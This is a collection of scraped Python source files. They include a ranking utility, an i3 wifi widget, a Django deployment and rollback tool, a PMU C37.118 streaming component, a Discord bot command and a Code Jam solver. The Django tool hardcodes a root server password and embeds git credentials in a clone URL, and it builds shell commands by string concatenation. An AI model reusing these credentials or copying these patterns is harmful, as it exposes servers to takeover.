name='test'),\n]\n","sub_path":"privateoffice/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"378336485","text":"#!/usr/bin/python\n#-*- coding: utf-8 -*-\n\ndef changeEscapeChr(instr):\n\ttmpstr = instr.replace('\\\\n','\\n')\\\n\t\t.replace('\\\\t','\\t')\\\n\t\t.replace(\"\\\\v\",'\\v')\\\n\t\t.replace(\"\\\\b\",'\\b')\\\n\t\t.replace(\"\\\\'\",'\\'')\\\n\t\t.replace('\\\\\"','\\\"')\n\n\treturn tmpstr\n\ndef number(numstr):\n\ttry:\n\t\tn = float(numstr)\n\t\tif n%1==0:\n\t\t\tn = int(n)\n\t\treturn n\n\texcept ValueError:\n\t\treturn None\n\ndef methods(method,rank,valcnt,buffer):\n\tif method=='1334':\n\t\trank += valcnt\n\t\tfor k in buffer:\n\t\t\tif keylen>0:\n\t\t\t\tsys.stdout.write(delim.join(k)+delim+str(rank)+\"\\n\")\n\t\t\telse:\n\t\t\t\t\tsys.stdout.write(str(rank)+\"\\n\")\n\telif method=='1224':\n\t\tfor k in buffer:\n\t\t\tif keylen>0:\n\t\t\t\tsys.stdout.write(delim.join(k)+delim+str(rank)+\"\\n\")\n\t\t\telse:\n\t\t\t\tsys.stdout.write(str(rank)+\"\\n\")\n\t\tif valcnt==0:\n\t\t\tvalcnt=1\n\t\trank += valcnt\n\telif method=='1223':\n\t\tfor k in buffer:\n\t\t\tif keylen>0:\n\t\t\t\tsys.stdout.write(delim.join(k)+delim+str(rank)+\"\\n\")\n\t\t\telse:\n\t\t\t\tsys.stdout.write(str(rank)+\"\\n\")\n\t\trank += 1\n\telif method=='1234':\n\t\tfor k in buffer:\n\t\t\tif keylen>0:\n\t\t\t\tsys.stdout.write(delim.join(k)+delim+str(rank)+\"\\n\")\n\t\t\telse:\n\t\t\t\tsys.stdout.write(str(rank)+\"\\n\")\n\t\t\trank+=1\n\telif method==\"12.52.54\":\n\t\trank0 = rank\n\t\tif valcnt==0: valcnt=1\n\t\trank +=valcnt\n\t\trank1 = rank\n\n\t\trankn = rank0\n\t\tif valcnt>1:\n\t\t\trankn = (rank1+rank0-1)*1.0/2 \n\n\t\tfor k in buffer:\n\t\t\tif keylen>0:\n\t\t\t\tsys.stdout.write(delim.join(k)+delim+str(rankn)+\"\\n\")\n\t\t\telse:\n\t\t\t\tsys.stdout.write(str(rankn)+\"\\n\")\n\n\n\treturn rank\n\n\nimport sys\nfrom optparse import OptionParser\n\nparser = OptionParser(prog = sys.argv[0])\nparser.usage = \"%prog [OPTION] < TEXTFILE \\n\"\\\n\t\t\t\t+ \" Count same values. Input must be sorted.\"\nparser.add_option(\"-t\", \"--delim\", help = \"set the delimeter (default = TAB)\" )\nparser.add_option(\"-m\", \"--method\", help = \"set the ranking strategy. ('1224','1334','1223', '1234', '12.52.54', default = '1334')\" )\nparser.add_option(\"-k\", \"--key\", metavar = \"POS1[,POS2]\",help = \"start a key at POS1, end it at POS2 (origin 1)\" )\nparser.add_option(\"-v\", \"--value\", metavar = \"POS\",help = \"set value position at POS (default = 1 or next to key position if a key is set)\" )\n\noptions,args = parser.parse_args()\n\ndelim = \"\\t\"\nif not options.delim is None:\n\tdelim = changeEscapeChr(options.delim)\n\nkeys = []\nif not options.key is None:\n\tkeyn = options.key.split(\",\")\n\ttry:\n\t\tkeys = range(int(keyn[0]),int(keyn[1]+1))\n\texcept:\n\t\tkeys = [int(keyn[0])]\n\nkeys = list(set(keys))\n\nprevval = None\nvalcnt = 0\nrank = 1\nbuffer = []\nmethod = '1334'\nif not options.method is None:\n\tmethod = options.method\n\nvalpos = 0\nkeylen = len(keys)\nif keylen>1: \tvalpos = max(keys)\nelif keylen==1: valpos = keys[0]\nelse: \t\t\tvalpos = 0\nif not options.value is None:\n\tvalpos = int(options.value) - 1\n\nfor inputStr in sys.stdin.xreadlines():\n\tcols = inputStr[:-1].split(delim)\n\ttry:\n\t\tval = cols[valpos]\n\texcept IndexError:\n\t\tsys.stderr.write(\"ERROR: column %d not found\"%(valpos+1)+ \" :: \"+inputStr)\n\t\texit(-1)\n\n\tkeyval = []\n\tif keylen>0:\n\t\tfor kp in keys:\n\t\t\tkeyval.append(cols[kp-1])\n\telse:\n\t\tkeyval.append(None)\n\n\n\tif prevval is None:\n\t\tpass\n\n\telif prevval != val:\n\t\trank = methods(method,rank,valcnt,buffer)\n\n\t\tvalcnt=1\n\t\tbuffer = []\n\n\telse:\n\t\tvalcnt+=1\n\n\tbuffer.append(tuple(keyval))\n\tprevval = val\n\t\t\nrank = methods(method,rank,valcnt,buffer)\n","sub_path":"src/scripts/rank.py","file_name":"rank.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"502991961","text":"import os\nimport csv\nimport pickle\nfrom shutil import copyfile\nimport operator\n\ninputpath = '../data/google-landmark-dataset-resize/'\noutputpath = '../../google_landmark_selected/'\nmaxLandmarks = 20\n\ngroundTruthCount = {}\ngroundTruth = {}\nwith open('groundTruthLandCount.pickle', 'rb') as handle:\n groundTruthCount= pickle.load(handle)\nwith open('groundTruthLand.pickle', 'rb') as handle:\n groundTruth= pickle.load(handle)\n\n\ncountLandmarks=0\nfor key,_ in sorted(groundTruthCount.items(), key=operator.itemgetter(1),reverse=True):\n\tprint('Key : {} and size : {}'.format(key,len(groundTruth[key])))\n\tcountImages = 0\n\tfor value in groundTruth[key]:\n\t\tif not os.path.exists(outputpath+value+'.jpg'):\n \t\t\tcopyfile(inputpath+value+'.jpg', outputpath+value+'.jpg')\n\t\tcountImages+=1\n\t\tif countImages >= 500:\n\t\t\tbreak\n\tcountLandmarks+=1\n\tif countLandmarks == maxLandmarks:\n\t\tbreak\n\n","sub_path":"utils/selectLandmarkData.py","file_name":"selectLandmarkData.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"72254253","text":"from googleapiclient.discovery import build\nfrom apiclient import errors\nimport os.path\nimport pickle\n\ndef retrieve_comments(service, file_id):\n\t\"\"\"Retrieve a list of comments.\n\n\tArgs:\n\t\tservice: Drive API service instance.\n\t\tfile_id: ID of the file to retrieve comments for.\n\tReturns:\n\t\tList of comments.\n\t\"\"\"\n\ttry:\n\t\tcomments = service.comments().list(fileId=file_id).execute()\n\t\treturn comments.get('items', [])\n\texcept errors.HttpError as error:\n\t\tprint('An error occurred: %s' % error)\n\treturn None\nif os.path.exists('token.pickle'):\n\twith open('token.pickle', 'rb') as token:\n\t\tcreds = pickle.load(token)\nservice = build('drive', 'v3', credentials=creds)\nprint(retrieve_comments(service, \"1SrRYng27CXKI6oZrGSJTpXvu-nK6JNB4wN3jt9A7Fqc\"))","sub_path":"GetCommentsP2.py","file_name":"GetCommentsP2.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"501502478","text":"import i3bar, confcolors, sys, time, subprocess, re\n\nclass NetComponent(i3bar.BarComponent):\n def __init__(self, name, instance, update_event, interface=\"wlp1s0\"):\n super(NetComponent, self).__init__(name, instance, update_event)\n self.interface = interface\n\n def update(self):\n rgx = re.compile(\"ESSID:\\\"(.+?)\\\" .+? Link Quality=(\\d+)\\/(\\d+)\", re.DOTALL)\n while True:\n output = subprocess.check_output(\"iwconfig \"+self.interface, shell=True).decode('utf-8')\n matches = rgx.findall(output)\n connected = False\n if matches:\n matches = matches[0]\n connected = True\n con_str = \"\"\n color = confcolors.DEFAULT\n if connected:\n ssid = matches[0].strip('\" ')\n quality = 0\n quality = float(matches[1])/float(matches[2]) * 100.0\n con_str = \"N: {} - {}%\".format(ssid, int(quality))\n else:\n con_str = \"N: --\"\n color = confcolors.WARNING\n with self.seglock:\n self.segments = [i3bar.BarSegment(self, con_str, color=color)]\n self.update_event.set()\n self.update_event.clear()\n time.sleep(5)\n","sub_path":"i3/.i3/i3barinfo/widgets/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"401933422","text":"# -*- coding: utf-8 -*-\r\nfrom .views import *\r\n\r\ndef d_api_project_update_sql():\r\n return project_update.objects.filter(proj=\"test_gaojusf_html5\").order_by(\"-version\")\r\n\r\ndef d_api_project_log_sql(filter,pro_r_u, order_by):\r\n if pro_r_u == \"version\":\r\n return project_log.objects.filter(proj_name=filter).order_by(order_by)\r\n else:\r\n return project_log.objects.filter(proj_name=filter,type=pro_r_u).order_by(order_by)\r\n\r\ndef test_gaojusf_html5_git(path_git,package_name,versions):\r\n bao_name = package_name+'_'+versions\r\n p_u_d=os.popen('cd '+path_git +';\\\r\n git clone -b develop http://wanglilei:123456@192.168.1.102/PHP_Work/gaojusf_html5.git > /dev/null; \\\r\n if [ $? -eq 0 ];then \\\r\n mv gaojusf_html5 '+ package_name +';\\\r\n rm -rf '+ package_name +'/.git; \\\r\n mv '+ package_name +' '+ bao_name +'; \\\r\n echo \\\"bac_ok\\\" ; \\\r\n else \\\r\n echo \\\"bac_err\\\" ; \\\r\n fi').readlines()\r\n return p_u_d\r\n #return ['bac_ok\\n']\r\n \r\n@login_required\r\n@user_passes_test(gw_version_sumbit ,login_url='/prompt/')\r\ndef test_gaojusf_html5_submit(request):\r\n #起始页面加载的数据\r\n #进度条速度\r\n html_enter = {'num':95,'bfzb_num':0,'xzjd':'下载进度'}\r\n #当前数据库数据查询\r\n log = d_api_project_update_sql()[0:10]\r\n #当前版本号查询\r\n new_version_number = d_api_project_update_sql()[0]\r\n new_ver = \"test_gaojusf_html5版本提交/当前版本: %s\" %(str(new_version_number))\r\n #html返回数据\r\n html_mysql_data = {'log':log,'new_ver':new_ver,'bb_hao':'输入版本号,格式:1.1.1','bug_text':'bug修复内容' }\r\n return_html_data = {'html_enter':html_enter,'html_mysql_data':html_mysql_data}\r\n\r\n if request.method == 'POST':\r\n version=request.POST['version']\r\n bug=request.POST['bug']\r\n #判断version 版本号输入\r\n return_submit_bug_version = submit_bug_package(new_version_number,version,bug,return_html_data)\r\n #判断版本号和bug提交内容\r\n if return_submit_bug_version == \"ok\":\r\n #数据内容 \r\n projects='test_gaojusf_html5'\r\n versions=Unide(version)\r\n users=request.session['user']\r\n #中文转码\r\n bugs=bug.encode('utf-8')\r\n #获取包上传下载的状态\r\n states='版本提交成功'\r\n #git包的变量\r\n path_git = \"/project_u_r_b/test_gaojusf_html5/test_gaojusf_html5_git\"\r\n package_name = \"test_gaojusf_html5\"\r\n return_p_u_d = test_gaojusf_html5_git(path_git,package_name,versions)\r\n if return_p_u_d == ['bac_ok\\n']:\r\n date_time = time.strftime(\"%Y-%m-%d %H:%M:%S\",time.localtime(time.time()))\r\n project_update.objects.create(proj=projects,version=versions,date=date_time,bug=bugs,state=states,user=users)\r\n #进度条速度\r\n #html_enter = {'num':100,'absolutely':1}\r\n html_enter = {'num':100,'bfzb_num':1,'xzjd':'下载成功'}\r\n #当前数据库数据查询\r\n log = d_api_project_update_sql()[0:10]\r\n #当前版本号查询\r\n new_ver = states+\",test_gaojusf_html5项目当前版本号: %s\" %(str(d_api_project_update_sql()[0]))\r\n #html返回数据\r\n html_mysql_data = {'log':log,'new_ver':new_ver,'bb_hao':'项目包下载成功','bug_text':'bug修复内容' }\r\n return_html_data = {'html_enter':html_enter,'html_mysql_data':html_mysql_data}\r\n baojing = \"用户:%s,提交test_gaojusf_html5版本:%s,提交时间:%s\" %(str(users),str(versions),str(date_time))\r\n #wx_gw_id_4(baojing)\r\n else:\r\n return_html_data['html_mysql_data']['bb_hao'] = \"项目包下载错误,请联系运维\"\r\n\r\n return render_to_response('release_system/test_version_submit.html',{\\\r\n 'xzjd':return_html_data['html_enter']['xzjd'],\\\r\n 'num':return_html_data['html_enter']['num'],\\\r\n 'bfzb_num':return_html_data['html_enter']['bfzb_num'],\\\r\n 'new_ver':return_html_data['html_mysql_data']['new_ver'],\\\r\n 'bb_hao':return_html_data['html_mysql_data']['bb_hao'],\\\r\n 'bug_text':return_html_data['html_mysql_data']['bug_text'],\\\r\n 'log':return_html_data['html_mysql_data']['log'],\\\r\n },context_instance=RequestContext(request))\r\n \r\n \r\n@login_required\r\n#用户是管理员 权限是admin.add_logentry \r\n@user_passes_test(gw_version_sumbit ,login_url='/prompt/')\r\ndef test_gaojusf_html5_update(request):\r\n user=request.session['user']\r\n #获取要更新的版本号\r\n new_version_number = d_api_project_update_sql()[0]\r\n #获取当前版本号\r\n current_version_number = str(d_api_project_log_sql(\"test_gaojusf_html5\",\"version\",\"-date\")[0]).split(',')[1]\r\n prompt_version=\"test_gaojusf_html5当前版本:%s , test_gaojusf_html5最新提交的版本:%s\" %(str(current_version_number),str(new_version_number))\r\n #获取项目ip\r\n gw_ip_list=query_project_ip('test_gaojusf_html5','id')\r\n #输出日志\r\n log = d_api_project_log_sql(\"test_gaojusf_html5\",\"project_update\",\"-id\")[0:14]\r\n #获取勾选框里面的值\r\n gw_submit_ip = request.POST.getlist('check_box_list')\r\n prompt_dic = {'prompt_err':\"test_gaojusf_html5项目更新IP地址\",'current_version_number':current_version_number,'new_version_number':new_version_number,'prompt_version':prompt_version,'gw_ip_list':gw_ip_list,'log':log}\r\n if request.method == 'POST':\r\n if gw_submit_ip:\r\n for ip in gw_submit_ip:\r\n if ip:\r\n if ping_ip(ip) == ['1\\n']:\r\n #项目名字\r\n package_name = \"test_gaojusf_html5\"\r\n #本地最新包名字\r\n new_package_name = package_name +'_'+ str(new_version_number)\r\n #本地包路径\r\n local_dir = '/project_u_r_b/test_gaojusf_html5/test_gaojusf_html5_git/'+ new_package_name\r\n #rsync 同步到远端的包路径\r\n remote_dir='/data/project_rsync/test_gaojusf_html5/www_rsync/'+ package_name\r\n #rsync 包同步状态判断\r\n if package_rsync(local_dir,remote_dir,ip) == ['bac_ok\\n']:\r\n #远程服务器备份线上包和把rsync拷贝的包mv到线上\r\n username = \"root\"\r\n #password = \"lM#%MpC&*#234@#$%\" \r\n password = \"De#W8s6e3His26hvC!zeroruqin\"\r\n #项目路径\r\n project_path = '/data/www'\r\n project_path_name = project_path +'/'+ package_name\r\n #项目备份路径\r\n project_backage_path = '/data/project_rsync/test_gaojusf_html5/www_bak_version'\r\n #项目���份路径加包名和版本号\r\n project_backage_path_name = project_backage_path +'/'+ new_package_name\r\n #在备份目录创建一个目录加上版本号,cp同步目录的包到备份目录下,rm项目目录,cp同步目录下的包到项目目录上\r\n package_backup_status = package_backup(ip,username,password,remote_dir,project_path,project_path_name,project_backage_path_name)\r\n if package_backup_status == ('mv_ok\\n',):\r\n #插入数据库数据\r\n proj_name ='test_gaojusf_html5'\r\n state = '成功'\r\n date_time = time.strftime(\"%Y-%m-%d %H:%M:%S\",time.localtime(time.time()))\r\n types = 'project_update'\r\n logs = 'test_gaojusf_html5线上项目更新成功'\r\n judges = 1\r\n project_log.objects.create(proj_ip=ip,user=user,package_name=new_package_name,proj_name=proj_name,version=new_version_number,date=date_time,type=types,state=state,log=logs,judge=judges)\r\n #微信告警\r\n baojing = \"用户:%s,成功更新%s版本:%s,提交时间:%s\" %(str(user),proj_name,str(new_version_number),str(date_time)) \r\n #wx_gw_id_4(baojing)\r\n #提示日志\r\n prompt_version_ok = str(','.join(gw_submit_ip[0:2])) +\":test_gaojusf_html5更新成功,test_gaojusf_html5当前版本: %s\" %(str(new_version_number))\r\n prompt_dic['prompt_version'] = prompt_version_ok\r\n else:\r\n prompt_dic['prompt_err'] = str(','.join(gw_submit_ip[0:2])) +\":项目更新错误\"\r\n else:\r\n prompt_dic['prompt_err'] = str(','.join(gw_submit_ip[0:2])) +\":rsync 文件同步错误\"\r\n else:\r\n prompt_dic['prompt_err'] = str(','.join(gw_submit_ip[0:2])) +\":ping不通\"\r\n else:\r\n prompt_dic['prompt_err'] = \"项目更新地址不能为空,请勾选项目更新地址\"\r\n return render_to_response('release_system/test_version_update.html',{\\\r\n 'prompt_err':prompt_dic['prompt_err'], \\\r\n 'gw_ip_list':prompt_dic['gw_ip_list'], \\\r\n 'prompt_version':prompt_dic['prompt_version'],\\\r\n 'log':prompt_dic['log']\\\r\n },context_instance=RequestContext(request))\r\n\r\n \r\n@login_required\r\n#用户是管理员 权限是admin.add_logentry 不是管理员权限的只能访问 mp_xm_bb_tj \r\n@user_passes_test(gw_version_sumbit ,login_url='/prompt/')\r\ndef test_gaojusf_html5_rollback(request):\r\n #获取最新项目版本号\r\n project_version_number = str(d_api_project_log_sql(\"test_gaojusf_html5\",\"version\",\"-date\")[0]).split(',')[1]\r\n project_prompt = \"test_gaojusf_html5项目线上回滚,test_gaojusf_html5当前版本:%s\" %(project_version_number)\r\n rollback_prompt='test_gaojusf_html5项目回滚IP地址' \r\n #获取所有版本号\r\n all_version_number = d_api_project_update_sql()[0:10]\r\n #for i in all_version_number:\r\n \r\n #获取项目ip\r\n gw_ip_list=query_project_ip('test_gaojusf_html5','id')\r\n #当前数据库数据查询\r\n log=d_api_project_log_sql(\"test_gaojusf_html5\",\"project_rollback\",\"-id\")[0:14]\r\n prompt_dic = {'project_prompt':project_prompt,'rollback_prompt':rollback_prompt,'all_version_number':all_version_number,'gw_ip_list':gw_ip_list,'log':log}\r\n #获取勾选框里面的值\r\n gw_submit_ip = request.POST.getlist('check_box_list')\r\n if request.method == 'POST':\r\n if gw_submit_ip:\r\n for ip in gw_submit_ip:\r\n if ip:\r\n if ping_ip(ip) == ['1\\n']:\r\n #项目名字\r\n package_name = \"test_gaojusf_html5\"\r\n username = \"root\"\r\n password = \"De#W8s6e3His26hvC!zeroruqin\"\r\n #获取回滚版本\r\n rollback_version = str(request.POST['rollback_version'])\r\n #项目路径\r\n project_path = '/data/www'\r\n project_path_name = project_path +'/'+ package_name\r\n #项目备份路径\r\n project_backage_path = '/data/project_rsync/test_gaojusf_html5/www_bak_version'\r\n project_backage_path_name = project_backage_path +'/'+ package_name +'_'+ rollback_version \r\n package_rollback_status = package_rollback(ip,username,password,project_path_name,project_backage_path_name)\r\n if package_rollback_status == ('mv_ok\\n',):\r\n user = request.session['user']\r\n types = 'project_rollback'\r\n log = 'test_gaojusf_html5线上项目回滚成功'\r\n package_rollback_name = package_name + '_'+rollback_version\r\n proj_name ='test_gaojusf_html5'\r\n date_time = time.strftime(\"%Y-%m-%d %H:%M:%S\",time.localtime(time.time()))\r\n state = '成功'\r\n judge = '1'\r\n project_log.objects.create(proj_ip=ip,user=user,package_name=package_rollback_name,proj_name=proj_name,version=rollback_version,date=date_time,type=types,state=state,log=log,judge=judge)\r\n \r\n prompt_dic['project_prompt']= \"test_gaojusf_html5项目回滚成功,test_gaojusf_html5当前版本:%s\" %(rollback_version)\r\n else:\r\n prompt_dic['rollback_prompt'] = str(','.join(gw_submit_ip[0:2])) +\":项目回滚错误\"\r\n else:\r\n prompt_dic['rollback_prompt'] = str(','.join(gw_submit_ip[0:2])) +\":ping不通\" \r\n else:\r\n prompt_dic['rollback_prompt'] = \"项目回滚地址不能为空,请勾选项目IP地址\" \r\n return render_to_response('release_system/test_version_rollback.html',{\\\r\n 'project_prompt':prompt_dic['project_prompt'], \\\r\n 'rollback_prompt':prompt_dic['rollback_prompt'], \\\r\n 'all_version_number':prompt_dic['all_version_number'],\\\r\n 'gw_ip_list':prompt_dic['gw_ip_list'],\\\r\n 'log':prompt_dic['log']\\\r\n },context_instance=RequestContext(request))","sub_path":"release_system/test_gaojusf_html5.py","file_name":"test_gaojusf_html5.py","file_ext":"py","file_size_in_byte":13788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"527281447","text":"from riaps.run.comp import Component\nimport logging\nimport threading\nfrom multiprocessing import Queue\nfrom collections import namedtuple\nimport socket\nfrom select import select\nimport time\nimport struct\nfrom pypmu.frame import CommonFrame, CommandFrame, ConfigFrame2, DataFrame, HeaderFrame\nfrom pypmu.pmu import Pmu\n\nClientInfo = namedtuple('ClientInfo', ['buffer', 'streaming', 'socket', 'address'])\n\nclass C37Sender(Component):\n def __init__(self, listen_port, pmu_id, pmu_alias):\n super().__init__()\n self.resyncAvailability = 0\n self.logger.setLevel(logging.INFO)\n \n self.port = listen_port\n self.ip = '0.0.0.0' # TODO: should be customizable\n self.pmu_id = pmu_id # TODO: should be customizable\n \n # TODO: should be customizable\n self.cfg_frame = ConfigFrame2(pmu_id_code=self.pmu_id, time_base=1000000, num_pmu=1,\n station_name=pmu_alias, id_code=self.pmu_id,\n data_format=(True, True, True, True),\n phasor_num=6, analog_num=5, digital_num=1,\n channel_names=[\"VAGPM\", \"VBYPM\", \"VCYPM\", \"VASPM\", \"VBZPM\", \"VCZPM\",\n \"VAGM\", \"VAGA\", \"VASM\", \"VASA\", \"SLIP1\",\n \"BRKPCCTR\", \"RMB1\", \"RMB2\", \"\",\n \"\", \"\", \"\", \"\",\n \"\", \"\", \"\", \"\",\n \"\", \"\", \"\", \"\"],\n ph_units=[(1, 'v'), (1, 'v'), (1, 'v'), (1, 'v'), (1, 'v'), (1, 'v')],\n an_units=[(1, 'pow'), (1, 'pow'), (1, 'pow'), (1, 'pow'), (1, 'pow')],\n dig_units=[(0x0000, 0x0007)],\n f_nom=60,\n cfg_count=1,\n data_rate=120).convert2bytes()\n self.header_frame = HeaderFrame(self.pmu_id, 'C37Sender').convert2bytes()\n \n self.terminated = threading.Event()\n self.terminated.clear()\n self.clients = []\n self.listener = None\n\n def on_rx_avaiResyncDecision(self):\n msg = self.rx_avaiResyncDecision.recv_pyobj() \n self.resyncAvailability = float(msg[0])\n \n def on_clock(self):\n now = self.clock.recv_pyobj() # Receive time (as float)\n self.logger.info('on_clock():%s', now)\n if self.listener == None:\n self.listener = threading.Thread(target=self.acceptor) # Run acceptor thread to handle new connection\n self.listener.daemon = True\n self.listener.start()\n \n def client_handler(self, client_info):\n address_info = '%s:%d' % (client_info.address[0], client_info.address[1])\n try:\n while True:\n\n command = None\n received_data = b''\n \n if self.terminated.is_set():\n break;\n \n readable, _, _ = select([client_info.socket], [], [], 0) # Check for client commands\n\n if readable:\n \"\"\"\n Keep receiving until SYNC + FRAMESIZE is received, 4 bytes in total.\n Should get this in first iteration. FRAMESIZE is needed to determine when one complete message\n has been received.\n \"\"\"\n while len(received_data) < 4:\n received_data += client_info.socket.recv(4 - len(received_data))\n\n bytes_received = len(received_data)\n total_frame_size = int.from_bytes(received_data[2:4], byteorder='big', signed=False)\n\n # Keep receiving until every byte of that message is received\n while bytes_received < total_frame_size:\n message_chunk = client_info.socket.recv(total_frame_size - bytes_received)\n if not message_chunk:\n break\n received_data += message_chunk\n bytes_received += len(message_chunk)\n\n # If complete message is received try to decode it\n if len(received_data) == total_frame_size:\n try:\n received_message = CommonFrame.convert2frame(received_data) # Try to decode received data\n\n if isinstance(received_message, CommandFrame):\n command = received_message.get_command()\n self.logger.info(\"[%d] - Received command: [%s] <- (%s)\", self.pmu_id, command,\n address_info)\n else:\n self.logger.info(\"[%d] - Received [%s] <- (%s)\", self.pmu_id,\n type(received_message).__name__, address_info)\n except FrameError:\n self.logger.warning(\"[%d] - Received unknown message <- (%s)\", self.pmu_id,\n address_info)\n else:\n self.logger.warning(\"[%d] - Message not received completely <- (%s)\", self.pmu_id,\n address_info)\n\n if command:\n if command == 'start':\n while not client_info.buffer.empty():\n client_info.buffer.get()\n client_info.streaming.set()\n self.logger.info(\"[%d] - Start sending -> (%s)\", self.pmu_id, address_info)\n\n elif command == 'stop':\n client_info.streaming.clear()\n self.logger.info(\"[%d] - Stop sending -> (%s)\", self.pmu_id, address_info)\n\n elif command == 'header':\n self.logger.info(\"[%d] - Replying Header request -> (%s)\",\n self.pmu_id, address_info)\n client_info.socket.sendall(self.header_frame)\n\n elif command == 'cfg2':\n self.logger.info(\"[%d] - Replying Configuration frame 2 request -> (%s)\", self.pmu_id,\n address_info)\n client_info.socket.sendall(self.cfg_frame)\n \n else:\n self.logger.warn(\"[%d] - Unsupported request: %s from (%s)\",\n self.pmu_id, command, address_info)\n \n\n if client_info.streaming.is_set() and not client_info.buffer.empty():\n self.logger.debug(\"[%d] - Sending data frame -> (%s)\", self.pmu_id, address_info)\n frame = client_info.buffer.get()\n client_info.socket.sendall(frame)\n\n except Exception as e:\n self.logger.exception('Critical error in client_handler')\n finally:\n client_info.socket.close()\n self.clients.remove(client_info)\n self.logger.info(\"[%d] - Connection from %s has been closed.\", self.pmu_id, address_info)\n \n\n def acceptor(self):\n listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n listen_socket.bind((self.ip, self.port))\n listen_socket.listen()\n \n while True:\n # TODO: due to the blocking accept() call, this is not very effective\n if self.terminated.is_set():\n listen_socket.close()\n return None\n \n self.logger.info(\"[%d] - Waiting for connection on %s:%d\", self.pmu_id, self.ip, self.port)\n conn, address = listen_socket.accept()\n self.logger.info('[%d] - Incoming connection from (%s:%d)', self.pmu_id, address[0], address[1])\n \n client_info = ClientInfo(Queue(), threading.Event(), conn, address)\n client_thread = threading.Thread(target=self.client_handler, args=((client_info),))\n client_thread.daemon = True \n self.clients.append(client_info)\n client_thread.start()\n \n def __destroy__(self):\n self.logger.info(\"__destroy__\")\n self.terminated.set()\n \n def on_c37data(self):\n raw, interpreted = self.c37data.recv_pyobj()\n \n if self.resyncAvailability == 1 :\n FMT_VALUES = '!H ff ff ff ff ff ff f f f f f f f H'\n OFFSET_VALUES_FROM_STATUES = 14\n\n (status, vagpm_m, vagpm_a, vbypm_m, vbypm_a, vcypm_m, vcypm_a,\n vaspm_m, vaspm_a, vbzpm_m, vbzpm_a, vczpm_m, vczpm_a,\n freq, rocof, vagm, vaga, vasm, vasa, slip1, digits) = \\\n struct.unpack_from(FMT_VALUES, raw, OFFSET_VALUES_FROM_STATUES)\n \n frame_to_go = DataFrame(pmu_id_code=self.pmu_id,\n stat=status,\n phasors=[(vagpm_m, vagpm_a), (vbypm_m, vbypm_a),(vcypm_m, vcypm_a),(vaspm_m, vaspm_a),(vbzpm_m, vbzpm_a),(vczpm_m, vczpm_a)],\n freq=freq, dfreq=rocof,\n analog=[vagm, vaga, vasm, vasa,slip1],\n digital=[0x0002+digits],\n data_format=(True, True, True, True))\n \n if isinstance(frame_to_go, CommonFrame):\n frame_to_go.set_time()\n data = frame_to_go.convert2bytes()\n\n elif isinstance(frame_to_go, bytes):\n data = frame_to_go\n \n #print(data)\n \n for client in self.clients:\n if client.streaming.is_set() and not client.buffer.full():\n client.buffer.put(data)\n else: \n #print (raw)\n for client in self.clients:\n if client.streaming.is_set() and not client.buffer.full(): \n client.buffer.put(raw) \n\n \n def on_c37config(self):\n raw, interpreted = self.c37config.recv_pyobj()\n self.cfg_frame = raw\n \n def on_c37header(self):\n raw, interpreted = self.c37header.recv_pyobj()\n self.header_frame = raw","sub_path":"apps-ncsu/ac-microgrid-resync-availability/Resynch_forward_availability8/C37Sender.py","file_name":"C37Sender.py","file_ext":"py","file_size_in_byte":10448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"60887779","text":"import Command\nimport youtube_dl\nimport discord\n\n\nclass CURRENT(Command.Command):\n\n def __init__(self):\n self.__player_object = None\n\n def set_player_obj(self, obj):\n self.__player_object = obj\n\n def info(self):\n return \"player\"\n\n def get_duration(self, seconds):\n\n sec = seconds % 60\n seconds //= 60\n\n min = seconds % 60\n seconds //= 60\n\n hour = seconds % 60\n return hour, min, sec\n\n async def run(self, client, message):\n\n server = client.get_server_data(message)\n video_data = self.__player_object.get_current_song(server)\n\n if video_data is None:\n return await client.send_message(message.channel, \"No song currently playing.\")\n\n # return await client.send_message(message.channel, \"Current song: \" + video_data.get_url())\n\n with youtube_dl.YoutubeDL({'quiet': True}) as ydl:\n info = ydl.extract_info(video_data.get_url(), download=False)\n\n duration_string = \"Duration: {:02d}:{:02d}:{:02d}\".format(*self.get_duration(info[\"duration\"]))\n\n embed = discord.Embed(title=info[\"title\"], url=info['webpage_url'], description=duration_string, color=discord.Color.dark_gold())\n embed.set_author(name=\"Currently playing:\")\n embed.set_thumbnail(url=info[\"thumbnail\"])\n\n return await client.send_message(message.channel, embed=embed)\n\n","sub_path":"ThreebotCommands/Player/current.py","file_name":"current.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"265752623","text":"T = 1#input()\r\n\r\nN, J = 16,50#map(int, input().split())\r\n\r\n\r\nfrom math import *\r\n\r\nstart = 2**(N-1) + 1\r\n\r\n\r\nprimes = dict()\r\ndef primefactor(n):\r\n if n in primes:\r\n return primes[n]\r\n\r\n else:\r\n sqtn = int(sqrt(n))\r\n for i in range(2, sqtn+2):\r\n if n % i == 0:\r\n return i\r\n\r\n return 0\r\n\r\n\r\n\r\nans = \"Case #1:\\n\"\r\nfound = 0\r\n\r\nwhile found < J:\r\n start += 2\r\n\r\n bnum = bin(start)[2:]\r\n\r\n\r\n works = True\r\n facs=[0 for i in range(10+1)] # only check 2 to 10\r\n \r\n for base in range(2, 10+1):\r\n numval = sum(base**(len(bnum)-i-1) * int(bnum[i]) for i in range(len(bnum)))\r\n\r\n #print(numval)\r\n \r\n facs[base] = primefactor(numval)\r\n if facs[base] == 0:\r\n works=False\r\n break\r\n\r\n\r\n if works:\r\n found += 1\r\n ans += bnum + \" \" + \" \".join(str(f) for f in facs[2:]) + \"\\n\"\r\n 